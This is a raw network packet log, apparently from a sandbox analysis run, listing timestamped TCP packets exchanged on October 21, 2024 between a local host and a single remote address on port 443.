Oct 21, 2024 13:17:41.749196053 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.749201059 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.751820087 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.751847982 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.751924038 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.752048016 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.752058029 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.763365030 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.763890028 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.763915062 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.764292002 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.764297009 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.814923048 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.815212011 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.815320015 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.815337896 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.815359116 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.815437078 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.815490961 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.815509081 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.815519094 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.815525055 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.818725109 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.818785906 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.818896055 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.819158077 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.819178104 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.849075079 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.849140882 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.849308014 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.849786043 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.849801064 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.849811077 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.849817038 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.852749109 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.852776051 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.852858067 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.853013992 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.853025913 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.854615927 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.854707003 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.854804039 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.854873896 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.854888916 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.854901075 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.854906082 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.857022047 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.857048988 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.857125998 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.857264042 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.857279062 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.894886971 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.894963980 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.895129919 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.895474911 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.895476103 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.895497084 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.895502090 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.898027897 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.898071051 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:41.898164034 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.898294926 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:41.898309946 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.481888056 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.482462883 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.482494116 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.482909918 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.482918978 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.589984894 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.590635061 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.590653896 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.591342926 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.591348886 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.611397028 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.611891985 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.611912012 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.611924887 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.611980915 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.612026930 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.612035990 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.612047911 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.612106085 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.612165928 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.612183094 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.612191916 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.612196922 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.612483978 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.612489939 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.614778996 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.614809990 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.614883900 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.615004063 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.615015984 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.622525930 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.623226881 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.623236895 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.623409033 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.623414040 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.634618998 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.635054111 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.635103941 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.635524035 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.635538101 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.722965956 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.723072052 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.723208904 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.723391056 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.723412037 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.723473072 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.723479986 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.726376057 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.726419926 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.726491928 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.726653099 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.726669073 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.746798992 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.746830940 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.746881962 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.746963978 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.746963978 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.747210026 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.747231960 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.747246027 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.747251987 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.750134945 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.750174999 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.750323057 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.750423908 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.750432968 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.758379936 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.758563042 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.758639097 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.758671045 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.758680105 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.758692980 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.758696079 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.761162043 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.761199951 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.761363983 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.761477947 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.761487961 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.763686895 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.763875008 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.763933897 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.763969898 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.763995886 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.764058113 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.764086962 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.764101028 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.764101028 CEST	49877	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.764111042 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.764118910 CEST	443	49877	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.766185999 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.766217947 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:42.766324997 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.766495943 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:42.766511917 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.346888065 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.347475052 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.347496986 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.347912073 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.347915888 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.447978973 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.448627949 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.448657990 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.449191093 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.449203968 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.479377985 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.479460955 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.479518890 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.479775906 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.479792118 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.479806900 CEST	49878	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.479813099 CEST	443	49878	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.481497049 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.482053041 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.482064962 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.482508898 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.482513905 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.483562946 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.483593941 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.483683109 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.483789921 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.483804941 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.494869947 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.495327950 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.495337009 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.495902061 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.495907068 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.502841949 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.503216982 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.503228903 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.503503084 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.503506899 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.577011108 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.577104092 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.577156067 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.577402115 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.577425003 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.577438116 CEST	49879	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.577445984 CEST	443	49879	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.580492973 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.580526114 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.580609083 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.580800056 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.580813885 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.612426996 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.612509966 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.612615108 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.612788916 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.612802982 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.612823963 CEST	49880	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.612828970 CEST	443	49880	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.615734100 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.615771055 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.615873098 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.616063118 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.616076946 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.626876116 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.626951933 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.627084970 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.627235889 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.627271891 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.627340078 CEST	49881	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.627346039 CEST	443	49881	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.629774094 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.629803896 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.629887104 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.630083084 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.630093098 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.633135080 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.633286953 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.633358955 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.633408070 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.633416891 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.633425951 CEST	49882	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.633430004 CEST	443	49882	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.635662079 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.635684967 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:43.635761976 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.635905981 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:43.635920048 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.228133917 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.228599072 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.228621960 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.229024887 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.229032993 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.309554100 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.310261965 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.310287952 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.310655117 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.310661077 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.359946012 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.359999895 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.360050917 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.360104084 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.360126972 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.360397100 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.360413074 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.360424042 CEST	49883	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.360433102 CEST	443	49883	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.361640930 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.362030029 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.362045050 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.362453938 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.362457991 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.363338947 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.363368988 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.363557100 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.363557100 CEST	49888	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.363584042 CEST	443	49888	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.383333921 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.385333061 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.385350943 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.385682106 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.385688066 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.395176888 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.395756006 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.395777941 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.396677017 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.396683931 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.437670946 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.437757015 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.437820911 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.442287922 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.442287922 CEST	49884	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.442316055 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.442327023 CEST	443	49884	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.447776079 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.447833061 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.447902918 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.448079109 CEST	49889	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.448096037 CEST	443	49889	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.493355989 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.493383884 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.493428946 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.493549109 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.493813038 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.493832111 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.493837118 CEST	49885	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.493843079 CEST	443	49885	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.497661114 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.497700930 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.497953892 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.497955084 CEST	49890	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.497983932 CEST	443	49890	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.522485971 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.522556067 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.522686958 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.522835016 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.522835016 CEST	49886	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.522842884 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.522850990 CEST	443	49886	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.525301933 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.525342941 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.525594950 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.525594950 CEST	49891	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.525628090 CEST	443	49891	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.527723074 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.527811050 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.527863026 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.527877092 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.527914047 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.527956963 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.527977943 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.527995110 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.528007984 CEST	49887	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.528012037 CEST	443	49887	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.529894114 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.529923916 CEST	443	49892	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:44.529989958 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.530122042 CEST	49892	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:44.530136108 CEST	443	49892	13.107.246.45	192.168.2.9
